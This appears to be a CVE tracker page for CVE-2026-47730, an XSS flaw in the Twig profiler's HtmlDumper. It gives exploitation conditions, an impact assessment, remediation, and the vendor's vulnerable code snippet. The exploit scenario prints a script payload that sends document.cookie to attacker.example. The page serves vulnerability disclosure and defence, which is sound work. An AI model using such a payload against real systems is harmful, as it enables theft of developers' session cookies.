Twig CVE-2026-47730
MEDIUMAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessWrite malicious payload into template name store
-
DeliveryApplication loads template via Twig loader
-
ExploitProfiler HtmlDumper renders unescaped name into HTML
-
ExecutionDeveloper opens profiler output in browser
-
ImpactBrowser executes injected JavaScript
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concurrent conditions: (1) The Twig profiler is enabled and its HtmlDumper output is rendered in a browser - this is a non-default, debug-mode feature not present in typical production deployments. (2) The attacker can influence the template name as stored in the loader's backing source - for example, write access to a database table used by a custom database-backed loader, or control over the array keys in an ArrayLoader populated from external input. (3) A user (typically a developer or administrator) browses to the profiler output after a request that processed the malicious template name. Exploitation is limited by the fact that the profiler is normally disabled in production, the attacker needs a separate write primitive to the template name store, and a victim must view the profiler output. CVSS vector data is not available to confirm authentication requirements via that signal. |
| Impact | No CVSS vector or score was published by NVD or the vendor for this CVE, making quantitative risk scoring unavailable. No EPSS probability is calculable without a CVSS vector. The vulnerability is not listed in the CISA KEV catalog, and no public proof-of-concept exploit code has been identified at time of analysis. Real-world risk is substantially constrained by deployment context: Twig's profiler is a debug-mode component and is typically not enabled in production environments; exploitation requires both that the profiler is active and its output is rendered in a browser, AND that an attacker has a path to influence template names persisted in the loader's backing store (e.g., write access to a database or configuration driving an ArrayLoader). The XSS impact, if conditions are met, is real - arbitrary HTML/JavaScript execution in the context of whatever user views the profiler dump - but the attack surface is narrow. The vendor's decision to batch this fix alongside multiple sandbox-bypass CVEs in the same v3.26.0 release signals it was treated as a genuine security issue despite the constrained context. |
| Exploit ScenarioDerived | An attacker with write access to a database table used as a Twig template name source (e.g., a CMS template registry) inserts a template name containing a JavaScript payload such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script>. When a developer opens the Twig profiler panel in their browser - during a request that loads the malicious template - HtmlDumper renders the unescaped name into the profiler HTML, the browser executes the injected script, and the attacker harvests the developer's session cookies. No public proof-of-concept code has been identified at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 05, 2026
Cross-site scripting in Twig's profiler HtmlDumper component (twig/twig >= 3.0.0, < 3.26.0) allows an attacker who can control template names - via an ArrayLoader key, a database-backed loader row ID, or similar - to inject arbitrary HTML that executes in any browser rendering the profiler output. The root cause is a missing htmlspecialchars() call in HtmlDumper::formatTemplate() and related methods before writing Profile::getTemplate() and Profile::getName() into the HTML response. No public exploit or CISA KEV listing has been identified at time of analysis, but the vendor confirmed the issue and shipped a fix in v3.26.0 as part of a coordinated batch of security releases.
RemediationAI
Upgrade twig/twig to version 3.26.0 or later via Composer (composer update twig/twig). The fix - confirmed in the GHSA advisory and the v3.26.0 release notes - applies htmlspecialchars() to both Profile::getTemplate() and Profile::getName() before HTML insertion. Release details are available at https://github.com/twigphp/Twig/releases/tag/v3.26.0. If an immediate upgrade is not feasible, the most targeted compensating control is to disable the Twig profiler entirely in any environment where its HTML output could be viewed by users other than fully trusted developers, or where template names are sourced from attacker-influenced data stores. In Symfony, this means setting twig.profiler to false or ensuring the profiler toolbar is inaccessible outside local development. Restricting access to the profiler endpoint (e.g., firewall rules to localhost or authenticated admin users only) reduces but does not eliminate risk if those users themselves are adversaries. Note that disabling the profiler may reduce debug visibility in staging environments.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in composer
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Twig (composer package twig/twig) is a widely deployed PHP templating engine. Its optional profiler subsystem includes HtmlDumper, a debug utility that renders a tree of template execution timing data as HTML. The affected code path is HtmlDumper::formatTemplate(), which uses sprintf() to embed profile->getTemplate() directly into an HTML <span> element without first passing the value through htmlspecialchars(). CWE-79 (Improper Neutralization of Input During Web Page Generation) precisely describes this root cause: user-supplied or otherwise externally influenced data is inserted into an HTML context without output encoding. The attacker-controlled input surface includes any mechanism that influences the template name as seen by the Twig loader - notably ArrayLoader (where the template name is the array key, potentially sourced from a database or user input) and custom database-backed loaders where the name field may be a mutable row attribute. This is explicitly classified by the vendor as a profiler/debug tooling output-encoding bug, not a sandbox escape.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Primary rating from Vendor (https://github.com/twigphp/Twig) · only source for this CVE.
CVSS VectorVendor: https://github.com/twigphp/Twig
Lifecycle Timeline
1DescriptionCVE.org
Description
Twig\Profiler\Dumper\HtmlDumper writes Profile::getTemplate() and Profile::getName() straight into its HTML output without escaping:
protected function formatTemplate(Profile $profile, $prefix): string
{
return \sprintf('%s└ <span style="background-color: %s">%s</span>', $prefix, self::$colors['template'], $profile->getTemplate());
}The template name comes from the loader (the array key for ArrayLoader, a row id for a database-backed loader, etc.). When that name is attacker-controlled, the profiler dump emits arbitrary HTML, and any browser that renders it executes the injected markup. This is an output-encoding bug in profiler/debug tooling, not a sandbox escape.
Resolution
HtmlDumper now runs both Profile::getTemplate() and Profile::getName() through htmlspecialchars() before inserting them into the HTML output.
Credits
Twig would like to thank El Kharoubi Iosif for reporting the issue and Nicolas Grekas for fixing it.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
GHSA-2g2g-8p8h-fgwm
NVD
CVE.org
EPSS
Exploit-DB